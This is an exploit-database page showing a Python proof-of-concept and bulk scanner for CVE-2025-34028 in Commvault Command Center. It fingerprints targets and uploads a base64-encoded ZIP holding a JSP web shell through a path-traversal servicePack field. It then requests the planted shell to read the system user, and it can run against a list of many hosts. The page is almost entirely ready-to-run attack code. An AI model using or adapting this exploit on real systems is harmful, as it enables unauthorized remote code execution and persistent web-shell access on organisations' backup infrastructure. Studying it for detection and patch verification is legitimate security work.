Exploit databaseDownload repository ZIP
GH-5be23a3e76df88496eae1aa2549887ff
mattb709/cve-2025-34028-poc-commvault-rce
Sources for CVE-2025-34028
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
mattb709/cve-2025-34028-poc-commvault-rceRevision fc4d4a979819
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-34028-Commvault.py
Suggested starting filePython · 5,962 bytesimport requests
import re
import argparse
import urllib3
import base64
import random
import string
from tabulate import tabulate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
banner = """
CVE-2025-34028 PoC & Bulk Scanner
"""
helptext = """
Example Usage:
- python CVE-2025-34028-Commvault.py -t https://192.168.1.1
- python CVE-2025-34028-Commvault.py -f targets.txt
"""
# Shell payload
shell = base64.b64decode("UEsDBAoAAAAAANx8h1oAAAAAAAAAAAAAAAAIABwAZGlzdC1jYy9VVAkAAxCB82cRgfNndXgLAAEE9QEAAAQUAAAAUEsDBAoAAAAAABFGhloAAAAAAAAAAAAAAAAOABwAZGlzdC1jYy9jY0FwcC9VVAkAA2LP8WfnffNndXgLAAEE9QEAAAQUAAAAUEsDBBQAAAAIABFGhlqqBA47KAAAAC8AAAAYABwAZGlzdC1jYy9jY0FwcC9pbmRleC5odG1sVVQJAANiz/Fn533zZ3V4CwABBPUBAAAEFAAAALPJKMnNsbNJyk+ptLPJMLTzSM3JyVcIzy/KSbHRB/Jt9CFS+mB1XABQSwMEFAAAAAgA41OIWtngLiSEAAAAmgAAABEAHABkaXN0LWNjL3NoZWxsLmpzcFVUCQADaYr0Z2qK9Gd1eAsAAQT1AQAABBQAAAAljc0KwjAQhO99iiUQUA/JwZukQejJmyA+QMS1rTQ/bDdC3t4tPQ3MN8zn9BVKGBHmWDJxr77hF0zleTEnBdp3buK4SLzyu/kOwE1n/2grY4Rb+mSKgeecnJV6o8UPlQgTw3NFuoDTPexzMyLfKRckbgdVhZoUIqqjWJwtorC7Q7425R9QSwECHgMKAAAAAADcfIdaAAAAAAAAAAAAAAAACAAYAAAAAAAAABAA/UEAAAAAZGlzdC1jYy9VVAUAAxCB82d1eAsAAQT1AQAABBQAAABQSwECHgMKAAAAAAARRoZaAAAAAAAAAAAAAAAADgAYAAAAAAAAABAA/UFCAAAAZGlzdC1jYy9jY0FwcC9VVAUAA2LP8Wd1eAsAAQT1AQAABBQAAABQSwECHgMUAAAACAARRoZaqgQOOygAAAAvAAAAGAAYAAAAAAABAAAAtIGKAAAAZGlzdC1jYy9jY0FwcC9pbmRleC5odG1sVVQFAANiz/FndXgLAAEE9QEAAAQUAAAAUEsBAh4DFAAAAAgA41OIWtngLiSEAAAAmgAAABEAGAAAAAAAAQAAALSBBAEAAGRpc3QtY2Mvc2hlbGwuanNwVVQFAANpivRndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAAEAAQAVwEAANMBAAAAAA0K")
def process_target(url, index):
"""Process a single target URL and return result for summary."""
print(f"\n[{index}] Processing target: {url}")
result = {"Index": index, "URL": url, "Status": "", "System User": ""}
# Verify Commvault presence
print(f"[{index}] Verifying presence of Commvault")
try:
response = requests.get(f"{url}/commandcenter/deployServiceCommcell.do", verify=False, timeout=10)
if "></cv:cvMessages>" not in response.text:
print(f"[{index}] Error: Target is not Commvault")
result["Status"] = "Not Commvault"
return result
except requests.RequestException as e:
print(f"[{index}] Error: Connection failed - {e}")
result["Status"] = "Connection Failed"
return result
# Upload shell
random_path = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
print(f"[{index}] Uploading to /reports/MetricsUpload/{random_path}/")
upload_url = f"{url}/commandcenter/deployServiceCommcell.do"
upload_headers = {"User-Agent": "CommvaultRCEPoC", "Accept": "*/*"}
upload_form = {
'servicePack': (None, f'/../../../Reports/MetricsUpload/{random_path}/', 'text/plain'),
'version': (None, '12.45', 'text/plain'),
'file': ('file.zip', shell, 'application/octet-stream')
}
try:
requests.post(upload_url, headers=upload_headers, files=upload_form, verify=False, timeout=10)
except requests.RequestException as e:
print(f"[{index}] Error: Upload failed - {e}")
result["Status"] = "Upload Failed"
return result
# Fetch system user
shell_url = f"{url}/reports/MetricsUpload/{random_path}/.tmp/dist-cc/dist-cc/shell.jsp"
print(f"[{index}] Fetching System User from {shell_url}")
try:
current_user_request = requests.get(shell_url, verify=False, timeout=10)
if "System Information" in current_user_request.text:
print(f"[{index}] Error: Shell Failed")
result["Status"] = "Shell Failed"
return result
pattern = r'<p>Current User: ([^<]+)</p>'
current_user = re.search(pattern, current_user_request.text)
if current_user:
print(f"[{index}] System User: {current_user.group(1)}")
result["Status"] = "Success"
result["System User"] = current_user.group(1)
else:
print(f"[{index}] Error: Failed to retrieve systemユーザー")
result["Status"] = "User Retrieval Failed"
except requests.RequestException as e:
print(f"[{index}] Error: Shell access failed - {e}")
result["Status"] = "Shell Access Failed"
return result
def main():
print(banner)
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-t", "--target", help="Target URL (e.g., https://192.168.1.1)", default=False)
group.add_argument("-f", "--file", help="File containing list of target URLs", default=False)
try:
args = parser.parse_args()
except:
print(banner)
print(helptext)
raise
targets = []
if args.target:
targets.append(args.target)
elif args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] Error: File {args.file} not found")
exit(1)
except Exception as e:
print(f"[!] Error reading file: {e}")
exit(1)
if not targets:
print("[!] Error: No valid targets provided")
exit(1)
print(f"[*] Found {len(targets)} target(s) to process")
results = []
for i, url in enumerate(targets, 1):
result = process_target(url, i)
results.append(result)
# Print summary table
print("\n[+] Summary of Results")
headers = ["Index", "URL", "Status", "System User"]
table_data = [[r["Index"], r["URL"], r["Status"], r["System User"]] for r in results]
print(tabulate(table_data, headers=headers, tablefmt="grid"))
if __name__ == "__main__":
main()